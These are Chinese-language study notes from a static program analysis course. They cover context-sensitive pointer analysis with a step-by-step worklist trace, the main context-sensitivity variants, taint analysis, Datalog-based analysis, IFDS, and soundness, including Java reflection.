比较古老以及好理解的一种方法,即某点调用时,它的上下文即为Call Site。比如如下的代码

image-20230227163018057

对于id方法而言有两个上下文:[1][2],进行调用时就会作克隆标记,方法为Cloning-Based进行分析

image-20230227163523979

Context-Sensitive Heap

image-20230227165115263

用以提高精度,将创建的对象依据上下文进行更加细粒的区分

1
2
3
4
5
6
7
8
9
10
11
12
13
void main(){
Y y = new Y(1);
X a = newX(y);

y = new Y(2);
X b = newX(y);
}

X newX(Y y) {
X x = new X();
x.f = y;
return x;
}

比如上述代码中,如果使用C.I.进行分析,那么无论什么时候调用函数newX,最后都只会得到一个对象O_10。但是如果在C.S.中使用该方法进行细粒化,就可以在不同的调用点对O_10进行区分,比如这里就可以将O_10分为C3:O_10C6:O_10,类似如下

image-20230227165502792

这样就精度更高,避免数据流的混合。

实际例子

image-20230227170232579

其实通过上述图片可以大概推导出来,在C.S.heap的技术中,主要是针对传入的上下文做一个标记,标记出不同上下文下得到的对象,这样就可以更加精确。

C.S.heap要和C.S.共同使用才能发挥作用,C.S.heapC.I.是不能发挥作用的,如下例子所示。

image-20230227171052291

2.Context Sensitive Pointer Analysis: Rules

Domain

image-20230227171524578

主要加入了一个修饰符c,表示上下文

Rules

image-20230227172158603

类似之前的一些规则表格

Rule: New

image-20230227172536628

这个就很容易理解了

Rule: Assign

image-20230227172807051

这个也容易理解

Rule: Store

image-20230227172917941

容易理解,就是理清楚各个变量指向对象的上下文C在哪里

Rule: Load

image-20230227173015546

类似的

小总结

image-20230227173051279

Rule: Call

image-20230227174623063

当进行方法调用时,Dispatch求解函数,然后Select得到上下文之后,就可以对应进行相关变量的值,或者指针对象传递了。和之前也差不多,就是加入了相关的上下文。

总结

image-20230227174951813

理解context sensitivity (C.S.)以及context-sensitive heap (C.S. heap)的相关概念,以及这些方法为什么能够提升精度。关键点就是经过相同的代码,但是其上下文可能不同,如果混合了数据流就会比较虚假,所以需要进行精确区分上下文。

C.S.指针分析的规则。

image-20230302105604591

十一、Pointer Analysis Context Sensitivity (II)

一些小的回顾就不说了

3.Context Sensitive Pointer Analysis: Algorithms

主体框架、流程和原来的差不多,加入上下文敏感了。

image-20230302111205711

首先是一些概念,和之前类似,加入了上下文

image-20230302111745720

具体例子如下

  • RM

    reachable methods可达方法集合中所有方法都会有上下文,下面的就代表在Ct上下文下可达的方法。

    image-20230302111827518

  • CG

    call graph调用图中,如下c代表在调用时的上下文
    $$
    c:2\ \ \ \ \ \ c^t:T.foo(A,A)∈CG
    $$
    image-20230302112047551

AddReachable(𝑐:𝑚)

最开始进入的入口函数为[]:m_entry,此时没有什么上下文,所以就为[],其他的和之前类似,加入上下文

image-20230302113019796

AddEdge/Propagate

和原先的一样,不需要怎么管

image-20230302114824189

因为Propaget传播依据现有的PFG进行传播,不需要管上下文。而AddEdge连边也是一样的,只是在PFG中连上两条边,并且指导后续的WL工作进度,不需要上下文。

Load/Store

主要看主体部分的Load/Store部分

image-20230302141214011

需要注意到图中用红色框起来的部分,每一个c:x和对应的c:y的上下文是一样的,这个应该也不难理解,因为传递的是指针对象集合,其包含的上下文也应该是一样的,不然可能不同的上下文导致不同的对象,其field也会可能发生改变。

ProcessCall(𝑐:𝑥, 𝑐′:O𝑖)

image-20230302142028418

加入相关上下文,以及一个Select(c,l,c':Oi)这样一个用来选择上下文的函数,该函数依据自己的算法设计,进行上下文的选择,比如选中多个lable等,用来唯一标识,这个后面会详细讲一下。

注:该算法大多不涉及循环处理,因为开销比较大。其他领域有这个方面的。

4.Context Sensitivity Variants

主要讲Select

image-20230302143554661

如上所示,各种上下文都可能会被考虑到。

Context Insensitivity

其实对于C.I.这个技术而言,其本质就可以当作是Select选择出来的上下文为空,即

image-20230302144056744

Call-Site Sensitivity

Olin Shivers, 1991. “Control-Flow Analysis of Higher-Order Languages”. Ph.D. Dissertation. Carnegie Mellon University.论文提出,方法叫做Call-Site Sensitivity ,或者call-string Sensitivity,或者k-CFA(Control-Flow Analysis)

其实就是一个call chain调用链,

image-20230302144152217

即当进行ProcessCallSelect时,做的工作就是一个并集,将当前的调用点加入到之前的上下文中,形成当前新的上下文,调试程序的时候就经常可以看到,提供的例子如下

image-20230302144545841

但是这种有递归的情况中,由于每次碰到新的上下文方法,都会进行分析,所以就会导致分析出无穷无尽的调用链和对应的调用方法,那么就需要引入一个能够进行终止的方法k-Call-Site Sensitivity/k-CFA

k-Call-Site Sensitivity/k-CFA

加入一个k个数的限制

image-20230302145404139

即确保上下文个数为k个,如果超过了,就舍弃掉最老的上下文。

比如k=2,在[2,3]上下文中需要加入[4],那么分析发现上下文个数超过k个,那么就舍弃掉2,新的上下文变成[3,4]。相当于是个缓存了。

实例

相关例子如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
interface Number {
int get(); }
class One implements Number {
public int get() { return 1; }}
class Two implements Number {
public int get() { return 2; }}

class C {
static void main() {
C c = new C();
c.m();
}

Number id(Number n) {
return n;
}


void m() {
Number n1,n2,x,y;
n1 = new One();
n2 = new Two();
x = this.id(n1);
y = this.id(n2);
x.get();
}
}

省略掉C.S.Heap方法以及m函数里的this变量。

初始化

首先是初始化,经过AddReachable

image-20230302150804549

得到结果如下

1
2
3
4
5
RM = {[]:C.main()}
WL = [<[]:c,{O3}>]
由于没有x=y之类的语句,没有调用到AddEdge
CG = {}
PFG = {}
WL处理
第一次迭代
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Processing = <[]:c,{O3}>;
WL = [];
RM = {[]:C.main()};
CG = {};
PFG = {};
n = []:c;
pts = {O3};
Δ = pts - pt(n) = {O3} - {} = {O3};

Propagate(n,Δ):
pts = Δ = {O3};
pt([]:c) = pt(n) = pts ⋃ pt(n) = {O3} ⋃ {} = {O3};
PFG没有关于[]:c->x的流向

关于a的成员没有相关Load和Store,有函数调用
ProcessCall(c:x,c':Oi):
context_c = [];
m = C.m();
c^t = [4];
WL += <[4]:m_this,{O3}>;
CG += {[]:4->[4]:C.m()};
AddReachable(c^t:m):
RM += {[4]:C.m()};
WL += [<[4]:n1,{O12}>,<[4]:n2,{O13}>];
没有关于[4]:n1和[4]:n2的Load操作,退出函数
没有传参传返回值操作,退出函数
第二次迭代

开始情况如下

image-20230302152628874

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
Processing = <[4]:C.m_this,{O3}>;
WL = [<[4]:n1,{O12}>,<[4]:n2,{O13}>];
RM = {[]:C.main(),[4]:C.m()};
CG = {[]:4->[4]:C.m()};
PFG = {...};
n = [4]:C.m_this;
pts = {O3};
Δ = pts - pt(n) = {O3} - {} = {O3};

Propagate(n,Δ):
pts = Δ = {O3};
pt([4]:C.m_this) = pt(n) = pts ⋃ pt(n) = {O3} ⋃ {} = {O3};
PFG没有关于[4]:C.m_this->x的流向

关于[4]:C.m_this的成员没有相关Load和Store

存在[4]:C.m_this的函数调用
ProcessCall(c:x,c':Oi):
context_c = [4];

迭代第一次
m = C.id(Number);
c^t = [14];
CG += {[4]:14->[14]:C.id(Number)};
AddReachable(c^t:m):
RM += {[14]:C.id(Number)};
没有新对象产生,退出函数
AddEdge:
PFG += {[4]:n1->[14]:n};
PFG += {[14]:n->[4]:x};

迭代第二次
m = C.id(Number);
c^t = [15];
CG += {[4]:15->[15]:c.id(Number)};
AddReachable(c^t:m):
RM += {[15]:C.id(Number)};
没有新对象产生,退出函数
AddEdge:
PFG += {[4]:n2->[15]:n};
PFG += {[15]:n->[4]:y};

结果如下:

image-20230302155654514

后面几次迭代就是一些传播了,大致概括如下

image-20230302161116389

第三次迭代
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Processing = <[4]:n1,{O12}>;
WL = [<[4]:n2,{O13}>];
RM = {[]:C.main(),[4]:C.m(),[14]:C.id(Number),[15]:C.id(Number)};
CG = {[]:4->[4]:C.m(),[4]:14->[14]:C.id(Number),[4]:15->[15]:C.id(Number)};
PFG = {...};
n = [4]:n1;
pts = {O12};
Δ = pts - pt(n) = {O12} - {} = {O12};

Propagate(n,Δ):
pts = Δ = {O12};
pt([4]:n1) = pt(n) = pts ⋃ pt(n) = {O12} ⋃ {} = {O12};
WL += <[14]:n,{O12}>;

关于[4]:n1的成员没有相关Load和Store以及函数调用,退出
第四次迭代
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Processing = <[4]:n2,{O13}>;
WL = [<[14]:n,{O12}>];
RM = {[]:C.main(),[4]:C.m(),[14]:C.id(Number),[15]:C.id(Number)};
CG = {[]:4->[4]:C.m(),[4]:14->[14]:C.id(Number),[4]:15->[15]:C.id(Number)};
PFG = {...};
n = [4]:n2;
pts = {O13};
Δ = pts - pt(n) = {O13} - {} = {O13};

Propagate(n,Δ):
pts = Δ = {O13};
pt([4]:n2) = pt(n) = pts ⋃ pt(n) = {O13} ⋃ {} = {O13};
WL += <[15]:n,{O13}>;

关于[4]:n2的成员没有相关Load和Store以及函数调用,退出
第五次迭代
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Processing = <[14]:n,{O12}>;
WL = [<[15]:n,{O13}>];
RM = {[]:C.main(),[4]:C.m(),[14]:C.id(Number),[15]:C.id(Number)};
CG = {[]:4->[4]:C.m(),[4]:14->[14]:C.id(Number),[4]:15->[15]:C.id(Number)};
PFG = {...};
n = [14]:n;
pts = {O12};
Δ = pts - pt(n) = {O12} - {} = {O12};

Propagate(n,Δ):
pts = Δ = {O12};
pt([14]:n) = pt(n) = pts ⋃ pt(n) = {O12} ⋃ {} = {O12};
WL += <[4]:x,{O12}>;

关于[14]:n的成员没有相关Load和Store以及函数调用,退出
第六次迭代
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Processing = <[15]:n,{O13}>;
WL = [<[4]:x,{O12}>];
RM = {[]:C.main(),[4]:C.m(),[14]:C.id(Number),[15]:C.id(Number)};
CG = {[]:4->[4]:C.m(),[4]:14->[14]:C.id(Number),[4]:15->[15]:C.id(Number)};
PFG = {...};
n = [15]:n;
pts = {O13};
Δ = pts - pt(n) = {O13} - {} = {O13};

Propagate(n,Δ):
pts = Δ = {O13};
pt([15]:n) = pt(n) = pts ⋃ pt(n) = {O13} ⋃ {} = {O13};
WL += <[4]:y,{O13}>;

关于[15]:n的成员没有相关Load和Store以及函数调用,退出
第七次迭代
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Processing = <[4]:x,{O12}>;
WL = [<[4]:y,{O13}>];
RM = {[]:C.main(),[4]:C.m(),[14]:C.id(Number),[15]:C.id(Number)};
CG = {[]:4->[4]:C.m(),[4]:14->[14]:C.id(Number),[4]:15->[15]:C.id(Number)};
PFG = {...};
n = [4]:x;
pts = {O12};
Δ = pts - pt(n) = {O12} - {} = {O12};

Propagate(n,Δ):
pts = Δ = {O12};
pt([4]:x) = pt(n) = pts ⋃ pt(n) = {O12} ⋃ {} = {O12};
PFG没有关于[4]:x->xxx的流向

关于[4]:x的成员存在函数调用
ProcessCall(c:x,c':Oi):
context_c = [4];

迭代第一次
m = One.get();
c^t = [16];
CG += {[4]:16->[16]:One.get()};
AddReachable(c^t:m):
RM += {[16]:One.get()};
没有新对象产生,退出函数


迭代第二次
m = C.id(Number);
c^t = [15];
CG += {[4]:15->[15]:c.id(Number)};
AddReachable(c^t:m):
RM += {[15]:C.id(Number)};
没有新对象产生,退出函数
没有传参传返回值操作,退出函数
第八次迭代
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Processing = <[4]:y,{O13}>;
WL = [];
RM = {[]:C.main(),[4]:C.m(),[14]:C.id(Number),[15]:C.id(Number)};
CG = {[]:4->[4]:C.m(),[4]:14->[14]:C.id(Number),[4]:15->[15]:C.id(Number)};
PFG = {...};
n = [4]:y;
pts = {O13};
Δ = pts - pt(n) = {O13} - {} = {O13};

Propagate(n,Δ):
pts = Δ = {O13};
pt([4]:y) = pt(n) = pts ⋃ pt(n) = {O13} ⋃ {} = {O13};
PFG没有关于[4]:y->xxx的流向

关于[4]:y的成员没有相关Load和Store以及函数调用,退出函数

到此WL清空,算法结束,最终结果如下

image-20230302161839478

Object Sensitivity

和之前提到的K-Call-Site方法类似,以对象作为上下文的参照

image-20230302163209957

实例

image-20230302165510010

即针对调用时的this对象来作为一个上下文的标识。

Call-Site和Object-Sensitivity对比

这里把1-Call-Site和``1-Object-Sensitivity`进行一个对比,结果如下

image-20230302165832151

在该例子中,1-Object更加准确,但是另一个例子如下

image-20230302165911690

1-Call-Site会更加准确。

所以在理论上,两者没有办法进行比较,但是在实际操作中,针对OO语言来说,Object Sensitivity更加好一点。

image-20230302170216610

这个相关的一些对比如下,是两位讲课老师发表的论文,该论文提到一种更加行之有效的方法,只针对程序中一小部分内容运用Object-Sensitivity方法,会更加有效,不过这部分内容也需要一定的资源进行计算。

image-20230302170328419

从运行的时间(越短越好),调用图的边数(越少越好),以及cast的转化失败可能性(越低越好)来对比,object-SensitivityOO语言上表现更好。

Type Sensitivity

也有很多其他上下文挑选条件,比如Type Sensitivity

image-20230302170807480

即在调用点所在类的类型作为筛选条件。

该方法的精度小于等于Object-Sensitivity,但是速度更快。而在实际上Type-Sensitivity的精度与Object-Sensitivity相差不是很多

总结对比

image-20230302171308228

以上三种方法针对OO语言,最终对比如下

image-20230302171258044

总结

image-20230302171616516

理解上下文指针分析的算法,通常的上下文几个variants变种,以及不同variants变种之间的对比差异等等。

十二、Static Program Analysis

1.Information Flow Security

image-20230304114214942

即定义程序中变量的安全等级,明确不同安全等级之间的流动策略,以及相关的访问权限策略等。

Information Flow

Information Flow信息流相关概念就不用太说明了

image-20230304113722316

Security levels(Classes)

image-20230304114340189

比较常见的就是two-level policy,低等密级和高等密级,或者一些更加复杂的

image-20230304114618338

Information Flow Policy

image-20230304114843239

常见的策略就是Noninterference policy非干涉策略,即高密级的不能流向低密级的,低密级可以流向高密级的

Noninterference

image-20230304115159940

由上述例子大概可以知道该策略的相关的信息流动规则。

2.Confidentiality and Integrity

image-20230304120447356

两者所防御的点不一样,一个像Confidentiality读保护,一个像Integrity写保护

image-20230304121014989

Integrity

保护数据的完整性

image-20230304120820220

即防止不可信的数据影响到本地的相关数据程序。

此外还有更加广泛的定义

image-20230304121346571

即数据的Completeness完整性、Correctness准确性、Consistency一致性都是在Integrity的定义下。

Confidentialityt

保护数据的保密性,即数据不被泄露。

3.Explicit Flows and Covert Channels

Implicit Flows

image-20230304122132934

可以通过判断public_L的值,判断出secret_H的信息,即Implicit Flows隐式流。

更多例子

image-20230304122422841

上述的各个语句,都可以通过特定的情形判断出secret_H的相关信息

Covert/Hidden Channels

image-20230304143310016

  • channels : 通过计算来传递信息的机制称为Channels信道
  • Covert Channels : 一个主要目的不是信息传递的信道,但是该信道仍然将信息传递出来了,那么这个信道被称为Covert Channels隐藏信道

以上提到的一些信道其实都是这里定义的Covert Channels,都会传递出一定的信息,有点像一些侧信道攻击。

Explicit Flows

那么相对于Implicit Flows隐藏信道的就是Explicit Flows显式信道,会传递出更多的信息,如下例子所示。

image-20230304143704679

4.Taint Analysis

针对关心的数据打上标记称为Tainted data,那么依据该数据的源头Source进行分析,尝试寻找tained data是否会流到某个敏感点sink,比如常见的system函数。

image-20230304144526463

课程中老师讲到如下的一些例子,类似的。

image-20230304144635715

Taint and Pointer Analysis

可以将指针分析和污点分析相结合,Tainted data污点数据作为一个指针对象,sources作为allocation sites,然后用指针分析来传播tainted data

image-20230304150023175

Domains and Notations

image-20230304151238672

加入了一个污点数据定义,包含在之前的对象集合中

image-20230304151544492

感兴趣的创建对象点为Sources,敏感方法为Sinks,最终可以输出一个pair<i,j,k>表示从source_i的污点数据可能会流到k个参数的call_site_j这个sink方法中。

Rules

Rules:Sources

处理Sources的方法

image-20230304152043659

即在指针分析的call时,某个调用点会调用到属于Sources的方法m,那么就会创建一个t_l污点数据放入该方法返回值的指针集pt(r)里面。

Rules:Propagate

传播的过程和指针分析类似,因为污点数据其实就是一个对象集合。

image-20230304152545326

Rules:sink

image-20230304152630082

当某个点调用到属于Sinks的方法时,如果方法调用参数中包含污点数据,那么就会将一个pair<j,l,i>加入到TaintFlows中方便后面进行输出。

实例

image-20230304153919785

首先是污点分析的tainted data的创建,这里就是t3加入到pt(pw),然后就会随着pt(pw)一直流动到s中,直到调用到sink点时,检测到传入的参数中包含pt(pw)这个tainted data,就可以加入到TaintFlows了。

其中<3,7,0>代表在3处的tainted data会流向到7处的sink,参数位置为第0个参数。

总结

image-20230304154401211

信息流安全的概念,信息的完整性和保密性,显式和隐式的信道,以及污点分析的相关使用。

十三、Datalog-Based Program Analysis

基于Datalog来进行程序分析

1.Motivation

image-20230304155559173

  • Imperative命令式语言

    告诉计算机怎么做,类似C语言

  • Declarative声明式语言

    告诉计算机要做什么,类似SQL语言

Pointer Analysis, Imperative Implementation

  • worklist
    • Array/list
    • 先进先出吗?
  • points-to set(pt)
    • Hash/vector
  • PFG nodes
    • 变量和节点的关联
  • variables and relevant statements变量和相关语句的关联

Pointer Analysis, Declarative Implementation (via Datalog)

通过Datalog来实现指针分析比较好实现

image-20230304160203485

2.Introduction to Datalog

Datalog = Data + Logic

最开始是从数据查询语言发展而来

image-20230304160546783

Predicates(Data)

image-20230304160824947

这张表中,Predicates谓词即为Age,某个Statements在表中即为fact,不在就不是fact

Atoms

image-20230304161051316

AtomsDatalog语言中是最小的语句,形式如同Age("Xiaoming",18)

relational atom

形如P(X1,X2,…,Xn)被称为关系型Atoms,比如Age(“Xiaoming”,18),代表一种关系。

Rules

image-20230311103310452

感觉就是通过数据Facts,然后给定规则Rules,最后得到一个结果Datalog program

EDB and IDB Predicates

image-20230311105116933

这里不是很懂这两个数据库的概念,后面再来看看把,其中EDB是不能修改的。

Logical Or

image-20230311104245405

逻辑or的操作符为;,运算优先级小于逻辑and

Negation

image-20230311104418530

逻辑非的运算符!,类似的。

Recursion

递归的性质

image-20230311105157450

即某个IDB某些数据加上一些东西也可以推导出该IDB的某些数据,就有一个递归在里面。

正是有了递归使得Datalog变得更加丰富,不再像只是简单查询的类似SQL的语言。

Rule Safety

Datalog中的rule存在safe的概念

image-20230311105839092

比如上述图片提到的例子,x>y中的x是无穷的,!C(x,y)的元素也是无穷的,这样的就是unsafe的。

一个safe Rule中的所有变量都只能出现在non-negated,即不是否定!的关系Atom中。

Datalog中只有safe rule可被允许。

Recursion and Negation

image-20230311111635015

这种没有意义的规则是不能写的,没有含义,Datalog也不会允许。

Execution of Datalog Programs

image-20230311112053774

不同的语言引擎其规则大同小异

Datalog具有单调性,其Facts只会单调递增,并且Datalog程序一定会终止,因为其Monotonicity单调性以及safe rulety

3.Pointer Analysis via Datalog

相关概念

EDB

image-20230311112346195

  • EDB:能直接从程序中得到的关系数据库,比如New、Assign等等
  • IDB:最终的指针分析结果
  • Rules:指针分析设定的规则

比如如下的情况

image-20230311112601320

Rules

image-20230311113933344

基本都是一一对应的,对应理解就好

Call

分为几个部分一一对应

one

image-20230311141910814

  • VCall(l:S,x:V,k:M) : 代表l语句下调用x.k(..)
  • Dispatch(o:O,k:M,m:M) : 和之前一样的,找到对应函数m
  • ThisVar(m:M,this:V) : 代表获取this变量
  • Reachable(m:M) : 代表添加可达方法m
  • CallGraph(l:S,m:M) : 代表 l语句调用到函数m,正常的CG
1
Oi∈ pt(x),m = Dispatch(Oi, k) ---> Oi∈ pt(M_this)

即该条件转化为Datalog

1
VarPointsTo(this, o),Reachable(m),CallGraph(l, m) <-VCall(l, x, k),VarPointsTo(x, o),Dispatch(o, k, m),ThisVar(m, this).
two

image-20230311152853949

  • Argument(l:S,i:N,ai:V) : 代表实参,即调用点的实参表示,调用点lai参数
  • Parameter(m:M,i:N,pi:V) : 代表函数中的形参,函数中的pi参数。
1
Ou∈pt(aj),1≤j≤n  ---> Ou∈pt(m_pj),1≤j≤n

对应参数的传递,转化为Datalog即为

1
VarPointsTo(pi,o) <- CallGraph(l,m),Argument(l, i,ai),Parameter(m,i,pi),VarPointsTo(ai,o).
three

image-20230311153437690

  • MethodReturn(m:M,ret:V) : 代表返回值,即函数m中的返回值ret
  • CallReturn(l:S,r:V) : 代表调用点l接收返回值到r
1
Ov∈pt(m_ret)  --->  Ov∈pt(r)

对应返回值的传递,转化为Datalog即为

1
VarPointsTo(r, o) <- CallGraph(l, m),MethodReturn(m, ret),VarPointsTo(ret, o),CallReturn(l, r).

最终结果如下

aaaaa

实例

EDB

image-20230311113001636

依据上述的例子能大概推导出相关的EDB了。

Rules

依据规则进行一一解析即可求得

image-20230311114532642

Whole-Program Pointer Analysis

image-20230311154150284

处理New方法时,会限定在reachable方法中

4.Taint Analysis via Datalog

相关概念

image-20230311154838944

主要是Taint(l:S,t:T)的解释,把所有的污点数据产生点call site,即l:S关联到产生的污点数据tainted data,即t:TTaintFlow差不多是相同的。

source/sink

image-20230314102251546

同样是一一对应的关系,即在指针分析中加入这个污点分析即可。

优缺点

image-20230314103528905

优点Pros

比较整洁,容易实现,更容易基于现成的引擎优化进行改造

缺点Cons

因为Datalog的一些限制,导致其表达方式比较少,某些逻辑可能不能表达到位,比如一些for-all的情况等。此外Datalog因为大多基于一些引擎,导致其不能很好地控制性能。

总结

image-20230314104032554

了解Datalog语言,学会通过Datalog实现指针分析、污点分析。

十四、CFL-Reachability and IFDS

1.Feasible and Realizable Paths

Infeasible Paths:

CFG中在程序运行起来并不执行的路径

Realizable Paths:

callreturn相匹配的路径,即分析的时候不会依据函数传递到其他的变量,如下的调用点1和调用点2

image-20230314145313166

但是Readlizabale path其实也可能不被执行,因为可能该Readlizabale path的调用点是在Infeasible Paths中。另外unrealizable paths一定不会被执行。

image-20230314145241336

2.CFL-Reachability

一条AB的路径中所有的边都有一个label,这个lable只能由确定的规则context-free language来定义

image-20230314145614781

  • context-free language : 遵循context-free grammar(CFG)的语言

  • context-free grammar(CFG) :

    有点不理解,Mark一下

image-20230314193506350

感觉就是一个加了标签的括号匹配算法,满足这个情况即是realizable

3.Overview of IFDS

概念

image-20230314202708702

在过程间数据流分析中,如果一个f是可分配distributive,并且其domainsfinite的,那么就可以用IFDS

Meet-Over-All-Realizable-Paths (MRP)

image-20230314203137454

即在realizable paths上做MOP分析,更加准确

image-20230316101950460

这里属实听得不太懂

Supergraph

image-20230316102200598

  • G* = (N* , E*) : 即每个函数都有自己的FG(flowgraph),这里的例子即为G_main/G_p,而G_main加上G_p一起组成了整个程序的G*
  • 每个函数的FG中都会有s_p入口,以及e_p出口。此外对于函数调用的实现用call_p/ret_p来体现。

G*

image-20230316102726071

在每个程序调用中都有三种不同的边

  • call-to-return-site edge : 图中紫色的边,Call_p->Ret_P,在当前函数中。
  • call-to-start edge : 图中绿色的边,Call_p->S_p,在不同函数中
  • exit-to-return-site edge : 图中深蓝色的边,e_p->Ret_p,在函数返回时跳转到调用点

Design Flow Functions

image-20230316103727673

  • N* : 程序中在没有实际运行前可能没有被初始化的变量
  • λ e_param.e_body : 想想成一个匿名函数,λ为函数名,e_param为函数参数,e_body为函数体,相关的例子如上。
例子

image-20230316104651630

  • 首先将未被初始化的变量加入集合S : λ S.{x,g}

  • x=0 -> Call_p : 代表x被初始化了,那么需要从集合s中减去x,即为λ S.S-{x}

  • Call_p -> S_p : 发生了函数调用,相关参数的值发生传递,即将集合s中所有x替换成a,即为λ S.S

  • a=a-g -> Call_p : 当a或者g任意一个变量没有被初始化,那么a就没有被初始化,那么就将a并入到集合s,即为S ∪ {a} 。反之,a/g都被初始化了,就代表a也会被初始化,那么就需要从集合s中减去a,即为S - {a}

  • Call_p -> Ret_p :

    主要考虑两个情况

    • 在函数中被初始化了,那么传回来的S中就不会包含gS-{g}也不包含g,两者相合不包含g,准确
    • 在函数中没有被初始化,那么传回来的S中包含gS-{g}不包含g,两者相合包含g,准确

    同样的如果不是S-{g},那么情况如下

    • 在函数中被初始化了,那么传回来的S中就不会包含gS包含g,两者相合包含g,不准确
    • 在函数中没有被初始化,那么传回来的S中包含gS包含g,两者相合包含g,准确

    这样S-{g}就会更加准确

  • e_p -> Ret_p : 发生了函数返回,需要减去本地变量,即为λ S.S-{a}

Exploded Supergraph

概念

image-20230316113507233

  • 需要建立一个representation relations (graphs)
  • 每一个flow function都可以被表示成2(D+1)个节点的关系连边,Ddataflow facts的集合

Rule规则

  • 0->0 : 无条件存在
  • 0->x : 即无条件产生了x
  • x->y : 即在有x的情况下,会产生y

大概依据上图可以判断一下

image-20230316114330648

最终需要依据规则,将G*转化为G#

Why We Need Edge 0 ⟶ 0?

image-20230316121445007

即需要0->0的边来在某点产生新的变量,使得传递reach成立,否则就没办法表达能够reach的概念,那么加入0->0如下

image-20230316121607565

例子

依据相关规则得到如下结果

image-20230316121704079

这个应该不难得到,通过这个图即可判断一些变量是否可达,比如下图画圈的g点就在realizable paths中可达

image-20230316154149995

而下图画圈的g点只会在non-realizable paths中可达,因为该路径括号其实是不匹配的。

image-20230316154211337

Tabulation Algorithm

依据G#,通过该算法寻找realizable paths寻找变量可达路径。该算法比较复杂,课程进行了简单介绍。具体算法如下

image-20230316193520580

看到bsauce师傅写的真好:【课程笔记】南大软件分析课程11——CFL可达性&IFDS(课时15) - 知乎 (zhihu.com)

  • 时间复杂度O(ED^3)

Core Working Mechanism of Tabulation Algorithm

image-20230316192306135

即依照给的顺序依次进行reach可达探测,但是完成Four之后,再碰到Five,就直接进行连边了,因为Two已经进行探测了,不需要再计算一遍了。

4.Understanding the Distributivity of IFDS

帮助判断该问题是否可用IFDS来解决

image-20230317100320870

不可以用标准的IFDS来解决这两个问题

Distributivity

常见的分配律

image-20230317100927589

Constant Propagation

但是对于Constant Propagation,该语句中的z的结果依赖于x/y共同的结果,并不能单独处理之后得到结果,无法满足分配律。这里其实就有点不懂了,比如之前提到的如下情况,不也是处理两个输入吗

image-20230317105418025

有点不太理解,mark一下

image-20230317101652497

  • 当一个语句需要考虑多种输入数据才能得到正确结果时,就不是distributive可分配的,不能用IFDS
  • IFDS中,所有的数据以及传播都需可以被单独处理,这些单独处理并不会导致最终结果的正确性发生改变。
  • IFDS一次f只能处理一个data input

image-20230317102104425

比如上述语句y = 2x + 3可以用IFDS来进行常量传播分析

Pointer Analysis

image-20230317102902311

这个分析中,最开始分析没有图中红线部分,需要添加一个别名信息才可以alias,即y=x这个情况,但是需要别名信息的话,又要处理多个输入x/y,所以不能用IFDS

总结

image-20230317110045113

理解CFL-Reachability(括号匹配问题),基础的IFDS,以及什么问题可以用IFDS进行解决

十五、Soundness and Soundiness

1.Soundness and Soundiness

Soundness

image-20230317115113287

可以分析程序所有可能的执行结果,包括动态运行的,称为Sound。但是无论学术界还是工业界中,基本都是UnSound,即无法分析到程序所有可能的执行结果。

Hard Language Features for Static Analysis

image-20230318104624160

即一些比较难以进行程序分析的语言。

有的分析研究希望能够寻找到一个保守估计的结果进行分析,比如C/C++里面的Point的地址进行加减的时候,就将该整个块当作指针可能的结果进行分析,但是也会相当不准确。

image-20230318104906691

大部分的研究说分析是Sound的,其实都不是Sound,这些都会造成一些误导,导致过分依赖这个分析。

Soundiness

2015年是一些学者出来呼吁说程序分析的研究要标注Soundiness。即在发表的研究结果中,某些难以分析的部分需要充分说明,并且标注Soundy,表示告诉读者这部分在努力实现Sound,但是也不一定能够达到Sound

image-20230318110806642

对比

image-20230318110826465

  • Sound : 比较理想化,能够处理程序所有可能的运行结果
  • Soundy : 企图处理程序所有可能的运行结果,但在hard language features可以是unsound的,进行大概处理。
  • Unsound : 为了相关的精度、效率等故意不处理某些部分。

2.Hard Language Feature: Java Reflection

image-20230318111512158

对于程序分析而言,JAVA reflection使得分析JAVA变得很困难

image-20230318111619066

Java Reflection

这个可以参考一下p神讲的

GitHub - phith0n/JavaThings: Share Things Related to Java - Java安全漫谈笔记相关内容

image-20230318111949117

即利用反射相关API来获取JAVA中类,然后通过类创建对象,获取属性,修改属性等,这里讲得听清楚的。

Why We Need to Analyze Java Reflection?

image-20230318112836799

依据之前学到的指针分析,其实在分析的时候,不一定能检测出来该指针指向的是哪个对象,也可能分析出来指向多个对象。那么当调用到m.invoke这种反射里面常见的API时,由于m解析不正确,那么就会导致m.invoke没办法正常调用,就会出现bug

或者在另一个例子中,两条流向会使得a.fld指向两个对象,那么就会导致B b’ = (B) a.fld;cast发生错误。

How to Analyze Java Reflection?

image-20230318113227337

String Constant Analysis/Pointer Analysis

05年开始出现一种方法。

image-20230318113708808

如果在反射中,相关的字符串通过String Constant Analysis可以求得,那么即可进行相关解析。但是如果没办法求得的时候,比如旁边黄色框列出来的部分,就没办法进行反射解析了。

Type Inference/String analysis/Pointer Analysis

14年出现另一个方法,即老师们提出的

image-20230318114007467

概括如下

image-20230318114151787

即使用该反射的时候可进行解析

image-20230318115246794

在该例子中,由于函数名是_加上CMD确定的,所以无法准确解析到对应的函数。

观察函数调用点175行,可以看到其parameters是个Object[]数组,那么这里创建的Object[]数组其类型必定在JAVA导入包中某些类,比如这里的FrameworkCommandInterpreter,是其sub/supertypes子类或者父类。

依据这个信息,在JAVA类型系统中寻找匹配相关的函数,会找出来很多函数,在该例子中,有50个函数被找到,其中48个函数都是可能会被调用的,即true

这方面的最新研究也是老师们的研究最前沿

image-20230318115926089

求解到的反射对象更准确更多,并且可以说出哪里解的不准。

Assisted by Dynamic Analysis

image-20230318120030439

利用动态分析来求解,比如上面的cmd,将之用一个模糊用例进行动态执行,类似现今很流行的模糊测试,当匹配用例上证明就可能会调用到。

优点是求解出来的一定是准确的,因为必定是可能调用到的。

缺点就是常见的模糊测试的缺点,覆盖路径有限,比较慢。

3.Hard Language Feature: Native Code

Native Code

image-20230318155627496

